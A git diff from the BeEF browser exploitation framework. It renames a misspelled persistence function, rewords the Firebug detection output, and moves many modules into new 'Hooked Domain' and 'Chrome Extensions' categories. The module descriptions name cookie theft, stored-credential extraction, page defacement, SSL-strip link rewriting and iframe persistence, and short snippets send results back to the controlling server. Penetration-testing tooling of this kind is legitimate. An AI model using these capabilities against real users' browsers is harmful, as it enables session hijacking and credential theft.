diff --git a/core/main/client/session.js b/core/main/client/session.js
index 2d3ea7425..040cf81a6 100644
--- a/core/main/client/session.js
+++ b/core/main/client/session.js
@@ -82,7 +82,7 @@ beef.session = {
 	/**
 	 * Overrides each link, and creates an iframe (loading the href) instead of following the link
 	 */
-	persistant: function() {
+	persistent: function() {
 		$j('a').click(function(e) {
 			if ($j(this).attr('href') != '')
 			{
diff --git a/modules/browser/detect_firebug/command.js b/modules/browser/detect_firebug/command.js
index fe4926aa9..6887c3554 100644
--- a/modules/browser/detect_firebug/command.js
+++ b/modules/browser/detect_firebug/command.js
@@ -14,8 +14,8 @@
 //   limitations under the License.
 //
 beef.execute(function() {
-	var result = "Disabled or not installed";
-	if (window.console && (window.console.firebug || window.console.exception)) result = "Enabled";
+	var result = "Not in use or not installed";
+	if (window.console && (window.console.firebug || window.console.exception)) result = "Enabled and in use!";
 	beef.net.send("<%= @command_url %>", <%= @command_id %>, "firebug="+result);
 });
 
diff --git a/modules/browser/get_chrome_extensions/command.js b/modules/chrome_extensions/get_chrome_extensions/command.js
similarity index 100%
rename from modules/browser/get_chrome_extensions/command.js
rename to modules/chrome_extensions/get_chrome_extensions/command.js
diff --git a/modules/browser/get_chrome_extensions/config.yaml b/modules/chrome_extensions/get_chrome_extensions/config.yaml
similarity index 95%
rename from modules/browser/get_chrome_extensions/config.yaml
rename to modules/chrome_extensions/get_chrome_extensions/config.yaml
index 642487742..69718be2e 100644
--- a/modules/browser/get_chrome_extensions/config.yaml
+++ b/modules/chrome_extensions/get_chrome_extensions/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         detect_chrome_extensions:
             enable: true
-            category: "Browser"
+            category: "Chrome Extensions"
             name: "Get Chrome Extensions"
             description: "This module detects if any of the top 1,000 Chrome extensions are installed."
             authors: ["koto", "bcoles"]
diff --git a/modules/browser/get_chrome_extensions/module.rb b/modules/chrome_extensions/get_chrome_extensions/module.rb
similarity index 100%
rename from modules/browser/get_chrome_extensions/module.rb
rename to modules/chrome_extensions/get_chrome_extensions/module.rb
diff --git a/modules/browser/alert_dialog/command.js b/modules/hooked_domain/alert_dialog/command.js
similarity index 100%
rename from modules/browser/alert_dialog/command.js
rename to modules/hooked_domain/alert_dialog/command.js
diff --git a/modules/browser/alert_dialog/config.yaml b/modules/hooked_domain/alert_dialog/config.yaml
similarity index 95%
rename from modules/browser/alert_dialog/config.yaml
rename to modules/hooked_domain/alert_dialog/config.yaml
index f72fb28f6..1e7c1e477 100644
--- a/modules/browser/alert_dialog/config.yaml
+++ b/modules/hooked_domain/alert_dialog/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         alert_dialog:
             enable: true
-            category: "Browser"
+            category: "Hooked Domain"
             name: "Create Alert Dialog"
             description: "Sends an alert dialog to the hooked browser."
             authors: ["wade", "bm"]
diff --git a/modules/browser/alert_dialog/module.rb b/modules/hooked_domain/alert_dialog/module.rb
similarity index 100%
rename from modules/browser/alert_dialog/module.rb
rename to modules/hooked_domain/alert_dialog/module.rb
diff --git a/modules/browser/deface_web_page/command.js b/modules/hooked_domain/deface_web_page/command.js
similarity index 100%
rename from modules/browser/deface_web_page/command.js
rename to modules/hooked_domain/deface_web_page/command.js
diff --git a/modules/browser/deface_web_page/config.yaml b/modules/hooked_domain/deface_web_page/config.yaml
similarity index 96%
rename from modules/browser/deface_web_page/config.yaml
rename to modules/hooked_domain/deface_web_page/config.yaml
index 3355784ce..8d6b99fa5 100644
--- a/modules/browser/deface_web_page/config.yaml
+++ b/modules/hooked_domain/deface_web_page/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         deface_web_page:
             enable: true
-            category: "Browser"
+            category: "Hooked Domain"
             name: "Replace Content (Deface)"
             description: "Overwrite the body of the page the hooked browser is on with the 'Deface Content' string."
             authors: ["antisnatchor"]
diff --git a/modules/browser/deface_web_page/module.rb b/modules/hooked_domain/deface_web_page/module.rb
similarity index 100%
rename from modules/browser/deface_web_page/module.rb
rename to modules/hooked_domain/deface_web_page/module.rb
diff --git a/modules/browser/get_cookie/command.js b/modules/hooked_domain/get_cookie/command.js
similarity index 100%
rename from modules/browser/get_cookie/command.js
rename to modules/hooked_domain/get_cookie/command.js
diff --git a/modules/browser/get_cookie/config.yaml b/modules/hooked_domain/get_cookie/config.yaml
similarity index 95%
rename from modules/browser/get_cookie/config.yaml
rename to modules/hooked_domain/get_cookie/config.yaml
index fb92775eb..a2f4c3d77 100644
--- a/modules/browser/get_cookie/config.yaml
+++ b/modules/hooked_domain/get_cookie/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         get_cookie:
             enable: true
-            category: "Browser"
+            category: "Hooked Domain"
             name: "Get Cookie"
             description: "This module will retrieve the session cookie from the current page."
             authors: ["bcoles"]
diff --git a/modules/browser/get_cookie/module.rb b/modules/hooked_domain/get_cookie/module.rb
similarity index 100%
rename from modules/browser/get_cookie/module.rb
rename to modules/hooked_domain/get_cookie/module.rb
diff --git a/modules/browser/get_local_storage/command.js b/modules/hooked_domain/get_local_storage/command.js
similarity index 100%
rename from modules/browser/get_local_storage/command.js
rename to modules/hooked_domain/get_local_storage/command.js
diff --git a/modules/browser/get_local_storage/config.yaml b/modules/hooked_domain/get_local_storage/config.yaml
similarity index 97%
rename from modules/browser/get_local_storage/config.yaml
rename to modules/hooked_domain/get_local_storage/config.yaml
index e416958e9..dbafcdef0 100644
--- a/modules/browser/get_local_storage/config.yaml
+++ b/modules/hooked_domain/get_local_storage/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         get_local_storage:
             enable: true
-            category: "Browser"
+            category: "Hooked Domain"
             name: "Get Local Storage"
             description: "Extracts data from the HTML5 localStorage object."
             authors: ["bcoles"]
diff --git a/modules/browser/get_local_storage/module.rb b/modules/hooked_domain/get_local_storage/module.rb
similarity index 100%
rename from modules/browser/get_local_storage/module.rb
rename to modules/hooked_domain/get_local_storage/module.rb
diff --git a/modules/browser/get_page_html/command.js b/modules/hooked_domain/get_page_html/command.js
similarity index 100%
rename from modules/browser/get_page_html/command.js
rename to modules/hooked_domain/get_page_html/command.js
diff --git a/modules/browser/get_page_html/config.yaml b/modules/hooked_domain/get_page_html/config.yaml
similarity index 95%
rename from modules/browser/get_page_html/config.yaml
rename to modules/hooked_domain/get_page_html/config.yaml
index ad767a53e..c4c81fa99 100644
--- a/modules/browser/get_page_html/config.yaml
+++ b/modules/hooked_domain/get_page_html/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         get_page_html:
             enable: true
-            category: "Browser"
+            category: "Hooked Domain"
             name: "Get Page HTML"
             description: "This module will retrieve the HTML from the current page."
             authors: ["bcoles"]
diff --git a/modules/browser/get_page_html/module.rb b/modules/hooked_domain/get_page_html/module.rb
similarity index 100%
rename from modules/browser/get_page_html/module.rb
rename to modules/hooked_domain/get_page_html/module.rb
diff --git a/modules/browser/get_page_links/command.js b/modules/hooked_domain/get_page_links/command.js
similarity index 100%
rename from modules/browser/get_page_links/command.js
rename to modules/hooked_domain/get_page_links/command.js
diff --git a/modules/browser/get_page_links/config.yaml b/modules/hooked_domain/get_page_links/config.yaml
similarity index 95%
rename from modules/browser/get_page_links/config.yaml
rename to modules/hooked_domain/get_page_links/config.yaml
index 7ac1e0930..190f1f1ab 100644
--- a/modules/browser/get_page_links/config.yaml
+++ b/modules/hooked_domain/get_page_links/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         get_page_links:
             enable: true
-            category: "Browser"
+            category: "Hooked Domain"
             name: "Get Page HREFs"
             description: "This module will retrieve HREFs from the target page."
             authors: ["vo"]
diff --git a/modules/browser/get_page_links/module.rb b/modules/hooked_domain/get_page_links/module.rb
similarity index 100%
rename from modules/browser/get_page_links/module.rb
rename to modules/hooked_domain/get_page_links/module.rb
diff --git a/modules/browser/get_session_storage/command.js b/modules/hooked_domain/get_session_storage/command.js
similarity index 100%
rename from modules/browser/get_session_storage/command.js
rename to modules/hooked_domain/get_session_storage/command.js
diff --git a/modules/browser/get_session_storage/config.yaml b/modules/hooked_domain/get_session_storage/config.yaml
similarity index 97%
rename from modules/browser/get_session_storage/config.yaml
rename to modules/hooked_domain/get_session_storage/config.yaml
index 289612644..16719c9da 100644
--- a/modules/browser/get_session_storage/config.yaml
+++ b/modules/hooked_domain/get_session_storage/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         get_session_storage:
             enable: true
-            category: "Browser"
+            category: "Hooked Domain"
             name: "Get Session Storage"
             description: "Extracts data from the HTML5 sessionStorage object."
             authors: ["bcoles"]
diff --git a/modules/browser/get_session_storage/module.rb b/modules/hooked_domain/get_session_storage/module.rb
similarity index 100%
rename from modules/browser/get_session_storage/module.rb
rename to modules/hooked_domain/get_session_storage/module.rb
diff --git a/modules/browser/get_stored_credentials/command.js b/modules/hooked_domain/get_stored_credentials/command.js
similarity index 100%
rename from modules/browser/get_stored_credentials/command.js
rename to modules/hooked_domain/get_stored_credentials/command.js
diff --git a/modules/browser/get_stored_credentials/config.yaml b/modules/hooked_domain/get_stored_credentials/config.yaml
similarity index 96%
rename from modules/browser/get_stored_credentials/config.yaml
rename to modules/hooked_domain/get_stored_credentials/config.yaml
index e8b1fe4ac..486ef8950 100644
--- a/modules/browser/get_stored_credentials/config.yaml
+++ b/modules/hooked_domain/get_stored_credentials/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         get_stored_credentials:
             enable: true
-            category: "Browser"
+            category: "Hooked Domain"
             name: "Get Stored Credentials"
             description: "This module retrieves saved username/password combinations from the login page on the hooked domain.<br /><br />It will fail if more than one set of domain credentials are saved in the browser."
             authors: ["bcoles"]
diff --git a/modules/browser/get_stored_credentials/module.rb b/modules/hooked_domain/get_stored_credentials/module.rb
similarity index 100%
rename from modules/browser/get_stored_credentials/module.rb
rename to modules/hooked_domain/get_stored_credentials/module.rb
diff --git a/modules/browser/link_rewrite/command.js b/modules/hooked_domain/link_rewrite/command.js
similarity index 100%
rename from modules/browser/link_rewrite/command.js
rename to modules/hooked_domain/link_rewrite/command.js
diff --git a/modules/browser/link_rewrite/config.yaml b/modules/hooked_domain/link_rewrite/config.yaml
similarity index 95%
rename from modules/browser/link_rewrite/config.yaml
rename to modules/hooked_domain/link_rewrite/config.yaml
index 083fabe36..5d6315975 100644
--- a/modules/browser/link_rewrite/config.yaml
+++ b/modules/hooked_domain/link_rewrite/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         link_rewrite:
             enable: true
-            category: "Browser"
+            category: "Hooked Domain"
             name: "Replace HREFs"
             description: "This module will rewrite all the href attributes of all matched links."
             authors: ["passbe"]
diff --git a/modules/browser/link_rewrite/module.rb b/modules/hooked_domain/link_rewrite/module.rb
similarity index 100%
rename from modules/browser/link_rewrite/module.rb
rename to modules/hooked_domain/link_rewrite/module.rb
diff --git a/modules/browser/link_rewrite_sslstrip/command.js b/modules/hooked_domain/link_rewrite_sslstrip/command.js
similarity index 100%
rename from modules/browser/link_rewrite_sslstrip/command.js
rename to modules/hooked_domain/link_rewrite_sslstrip/command.js
diff --git a/modules/browser/link_rewrite_sslstrip/config.yaml b/modules/hooked_domain/link_rewrite_sslstrip/config.yaml
similarity index 96%
rename from modules/browser/link_rewrite_sslstrip/config.yaml
rename to modules/hooked_domain/link_rewrite_sslstrip/config.yaml
index 236c307f5..bcb1d305f 100644
--- a/modules/browser/link_rewrite_sslstrip/config.yaml
+++ b/modules/hooked_domain/link_rewrite_sslstrip/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         link_rewrite_sslstrip:
             enable: true
-            category: "Browser"
+            category: "Hooked Domain"
             name: "Replace HREFs (HTTPS)"
             description: "This module will rewrite all the href attributes of HTTPS links to use HTTP instead of HTTPS. Links relative to the web root are not rewritten."
             authors: ["bcoles"]
diff --git a/modules/browser/link_rewrite_sslstrip/module.rb b/modules/hooked_domain/link_rewrite_sslstrip/module.rb
similarity index 100%
rename from modules/browser/link_rewrite_sslstrip/module.rb
rename to modules/hooked_domain/link_rewrite_sslstrip/module.rb
diff --git a/modules/browser/prompt_dialog/command.js b/modules/hooked_domain/prompt_dialog/command.js
similarity index 100%
rename from modules/browser/prompt_dialog/command.js
rename to modules/hooked_domain/prompt_dialog/command.js
diff --git a/modules/browser/prompt_dialog/config.yaml b/modules/hooked_domain/prompt_dialog/config.yaml
similarity index 95%
rename from modules/browser/prompt_dialog/config.yaml
rename to modules/hooked_domain/prompt_dialog/config.yaml
index be29f5f87..b786633cb 100644
--- a/modules/browser/prompt_dialog/config.yaml
+++ b/modules/hooked_domain/prompt_dialog/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         prompt_dialog:
             enable: true
-            category: "Browser"
+            category: "Hooked Domain"
             name: "Create Prompt Dialog"
             description: "Sends a prompt dialog to the hooked browser."
             authors: ["wade", "bm"]
diff --git a/modules/browser/prompt_dialog/module.rb b/modules/hooked_domain/prompt_dialog/module.rb
similarity index 100%
rename from modules/browser/prompt_dialog/module.rb
rename to modules/hooked_domain/prompt_dialog/module.rb
diff --git a/modules/browser/replace_video/command.js b/modules/hooked_domain/replace_video/command.js
similarity index 100%
rename from modules/browser/replace_video/command.js
rename to modules/hooked_domain/replace_video/command.js
diff --git a/modules/browser/replace_video/config.yaml b/modules/hooked_domain/replace_video/config.yaml
similarity index 96%
rename from modules/browser/replace_video/config.yaml
rename to modules/hooked_domain/replace_video/config.yaml
index 45436aec3..d0de2f081 100644
--- a/modules/browser/replace_video/config.yaml
+++ b/modules/hooked_domain/replace_video/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         replace_video:
             enable: true
-            category: "Browser"
+            category: "Hooked Domain"
             name: "Replace Videos"
             description: "Replaces an object selected with jQuery (all embed tags by default) with an embed tag containing the youtube video of your choice (rickroll by default)."
             authors: ["Yori Kvitchko", "antisnatchor"]
diff --git a/modules/browser/replace_video/module.rb b/modules/hooked_domain/replace_video/module.rb
similarity index 100%
rename from modules/browser/replace_video/module.rb
rename to modules/hooked_domain/replace_video/module.rb
diff --git a/modules/browser/rickroll/command.js b/modules/hooked_domain/rickroll/command.js
similarity index 100%
rename from modules/browser/rickroll/command.js
rename to modules/hooked_domain/rickroll/command.js
diff --git a/modules/browser/rickroll/config.yaml b/modules/hooked_domain/rickroll/config.yaml
similarity index 96%
rename from modules/browser/rickroll/config.yaml
rename to modules/hooked_domain/rickroll/config.yaml
index 0bef59b52..0335b05ce 100644
--- a/modules/browser/rickroll/config.yaml
+++ b/modules/hooked_domain/rickroll/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         rickroll:
             enable: true
-            category: "Browser"
+            category: "Hooked Domain"
             name: "Redirect Browser (Rickroll)"
             description: "Overwrite the body of the page the victim is on with a full screen Rickroll."
             authors: ["Yori Kvitchko"]
diff --git a/modules/browser/rickroll/module.rb b/modules/hooked_domain/rickroll/module.rb
similarity index 100%
rename from modules/browser/rickroll/module.rb
rename to modules/hooked_domain/rickroll/module.rb
diff --git a/modules/browser/site_redirect/command.js b/modules/hooked_domain/site_redirect/command.js
similarity index 100%
rename from modules/browser/site_redirect/command.js
rename to modules/hooked_domain/site_redirect/command.js
diff --git a/modules/browser/site_redirect/config.yaml b/modules/hooked_domain/site_redirect/config.yaml
similarity index 96%
rename from modules/browser/site_redirect/config.yaml
rename to modules/hooked_domain/site_redirect/config.yaml
index 298956203..a033f29ae 100644
--- a/modules/browser/site_redirect/config.yaml
+++ b/modules/hooked_domain/site_redirect/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         site_redirect:
             enable: true
-            category: "Browser"
+            category: "Hooked Domain"
             name: "Redirect Browser"
             description: "This module will redirect the selected hooked browser to the address specified in the 'Redirect URL' input."
             authors: ["wade", "vo"]
diff --git a/modules/browser/site_redirect/module.rb b/modules/hooked_domain/site_redirect/module.rb
similarity index 100%
rename from modules/browser/site_redirect/module.rb
rename to modules/hooked_domain/site_redirect/module.rb
diff --git a/modules/browser/site_redirect_iframe/command.js b/modules/hooked_domain/site_redirect_iframe/command.js
similarity index 100%
rename from modules/browser/site_redirect_iframe/command.js
rename to modules/hooked_domain/site_redirect_iframe/command.js
diff --git a/modules/browser/site_redirect_iframe/config.yaml b/modules/hooked_domain/site_redirect_iframe/config.yaml
similarity index 96%
rename from modules/browser/site_redirect_iframe/config.yaml
rename to modules/hooked_domain/site_redirect_iframe/config.yaml
index fec16662c..2f6e62898 100644
--- a/modules/browser/site_redirect_iframe/config.yaml
+++ b/modules/hooked_domain/site_redirect_iframe/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         site_redirect_iframe:
             enable: true
-            category: "Browser"
+            category: "Hooked Domain"
             name: "Redirect Browser (iFrame)"
             description: "This module creates a 100% x 100% overlaying iframe and keeps the browers hooked to the framework. The content of the iframe, page title and the time delay are specified in the parameters below.<br><br>The content of the URL bar will not be changed in the hooked browser."
             authors: ["ethicalhack3r", "Yori Kvitchko"]
diff --git a/modules/browser/site_redirect_iframe/module.rb b/modules/hooked_domain/site_redirect_iframe/module.rb
similarity index 100%
rename from modules/browser/site_redirect_iframe/module.rb
rename to modules/hooked_domain/site_redirect_iframe/module.rb
diff --git a/modules/persistence/iframe_above/command.js b/modules/persistence/iframe_above/command.js
index 00dd40ef4..3cf076368 100644
--- a/modules/persistence/iframe_above/command.js
+++ b/modules/persistence/iframe_above/command.js
@@ -14,6 +14,6 @@
 //   limitations under the License.
 //
 beef.execute(function() {
-	beef.session.persistant();
+	beef.session.persistent();
 	beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Links have been rewritten to spawn an iFrame.');
 });